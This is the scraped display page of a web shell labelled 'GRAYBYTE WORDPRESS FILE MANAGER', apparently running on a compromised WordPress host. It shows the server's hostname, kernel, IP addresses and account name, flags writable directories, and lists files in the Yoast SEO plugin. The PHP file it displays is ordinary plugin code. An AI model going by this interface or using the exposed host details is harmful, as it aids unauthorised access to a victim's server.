✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server366.web-hosting.com ​🇻​♯➤ 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 67.223.118.204 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/builxejc/public_html/wp-content/plugins/wordpress-seo/inc//class-upgrade-history.php
<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Internal
 */

/**
 * This class handles storing the current options for future reference.
 *
 * This should only be used during an upgrade routine.
 */
class WPSEO_Upgrade_History {

	/**
	 * Option to use to store/retrieve data from.
	 *
	 * @var string
	 */
	protected $option_name = 'wpseo_upgrade_history';

	/**
	 * WPSEO_Upgrade_History constructor.
	 *
	 * @param string|null $option_name Optional. Custom option to use to store/retrieve history from.
	 */
	public function __construct( $option_name = null ) {
		if ( $option_name !== null ) {
			$this->option_name = $option_name;
		}
	}

	/**
	 * Retrieves the content of the history items currently stored.
	 *
	 * @return array<array<string>> The contents of the history option.
	 */
	public function get() {
		$data = get_option( $this->get_option_name(), [] );
		if ( ! is_array( $data ) ) {
			return [];
		}

		return $data;
	}

	/**
	 * Adds a new history entry in the storage.
	 *
	 * @param string        $old_version  The version we are upgrading from.
	 * @param string        $new_version  The version we are upgrading to.
	 * @param array<string> $option_names The options that need to be stored.
	 *
	 * @return void
	 */
	public function add( $old_version, $new_version, array $option_names ) {
		$option_data = [];
		if ( $option_names !== [] ) {
			$option_data = $this->get_options_data( $option_names );
		}

		// Retrieve current history.
		$data = $this->get();

		// Add new entry.
		$data[ time() ] = [
			'options'     => $option_data,
			'old_version' => $old_version,
			'new_version' => $new_version,
		];

		// Store the data.
		$this->set( $data );
	}

	/**
	 * Retrieves the data for the specified option names from the database.
	 *
	 * @param array<string> $option_names The option names to retrieve.
	 *
	 * @return array<int|string, array<string|int|bool|float>> The retrieved data.
	 */
	protected function get_options_data( array $option_names ) {
		$wpdb = $this->get_wpdb();

		$results = $wpdb->get_results(
			$wpdb->prepare(
				'
				SELECT %i, %i FROM ' . $wpdb->options . ' WHERE
				%i IN ( ' . implode( ',', array_fill( 0, count( $option_names ), '%s' ) ) . ' )
				',
				array_merge( [ 'option_value', 'option_name', 'option_name' ], $option_names ),
			),
			ARRAY_A,
		);

		$data = [];
		foreach ( $results as $result ) {
			$data[ $result['option_name'] ] = maybe_unserialize( $result['option_value'] );
		}

		return $data;
	}

	/**
	 * Stores the new history state.
	 *
	 * @param array<array<string>> $data The data to store.
	 *
	 * @return void
	 */
	protected function set( array $data ) {
		// This should not be autoloaded!
		update_option( $this->get_option_name(), $data, false );
	}

	/**
	 * Retrieves the WPDB object.
	 *
	 * @return wpdb The WPDB object to use.
	 */
	protected function get_wpdb() {
		global $wpdb;

		return $wpdb;
	}

	/**
	 * Retrieves the option name to store the history in.
	 *
	 * @return string The option name to store the history in.
	 */
	protected function get_option_name() {
		return $this->option_name;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
exceptions
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
options
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
sitemaps
--
9 Jun 2026 8.39 AM
builxejc / builxejc
0755
class-addon-manager.php
26.543 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-my-yoast-api-request.php
5.389 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-post-type.php
3.893 KB
5 Nov 2024 4.04 PM
builxejc / builxejc
0644
class-rewrite.php
7.581 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-upgrade-history.php
3.045 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-upgrade.php
55.301 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-admin-bar-menu.php
28.844 KB
12 May 2026 4.03 PM
builxejc / builxejc
0644
class-wpseo-content-images.php
2.593 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-custom-fields.php
1.726 KB
7 Apr 2025 1.46 PM
builxejc / builxejc
0644
class-wpseo-custom-taxonomies.php
1.592 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-image-utils.php
15.03 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-installation.php
1.173 KB
22 Oct 2025 1.32 PM
builxejc / builxejc
0644
class-wpseo-meta.php
36.547 KB
12 May 2026 4.03 PM
builxejc / builxejc
0644
class-wpseo-primary-term.php
1.698 KB
19 Jan 2024 3.31 PM
builxejc / builxejc
0644
class-wpseo-rank.php
7.383 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-replace-vars.php
51.464 KB
17 Feb 2026 5.17 PM
builxejc / builxejc
0644
class-wpseo-replacement-variable.php
1.343 KB
13 Apr 2021 10.40 AM
builxejc / builxejc
0644
class-wpseo-shortlinker.php
1.105 KB
19 Jan 2024 3.31 PM
builxejc / builxejc
0644
class-wpseo-statistics.php
1.409 KB
18 May 2021 5.42 PM
builxejc / builxejc
0644
class-wpseo-utils.php
28.447 KB
17 Mar 2026 4.01 PM
builxejc / builxejc
0644
class-yoast-dynamic-rewrites.php
5.235 KB
19 Jan 2024 3.31 PM
builxejc / builxejc
0644
date-helper.php
1.711 KB
2 Dec 2020 6.10 PM
builxejc / builxejc
0644
index.php
0.037 KB
21 Jul 2015 5.37 PM
builxejc / builxejc
0644
interface-wpseo-wordpress-ajax-integration.php
0.287 KB
14 Aug 2018 12.15 PM
builxejc / builxejc
0644
interface-wpseo-wordpress-integration.php
0.34 KB
18 Apr 2019 12.44 PM
builxejc / builxejc
0644
language-utils.php
1.282 KB
14 May 2024 5.22 PM
builxejc / builxejc
0644
wpseo-functions-deprecated.php
0.066 KB
19 Jan 2024 3.31 PM
builxejc / builxejc
0644
wpseo-functions.php
9.002 KB
19 Jan 2024 3.31 PM
builxejc / builxejc
0644
wpseo-non-ajax-functions.php
1.556 KB
18 May 2021 5.42 PM
builxejc / builxejc
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF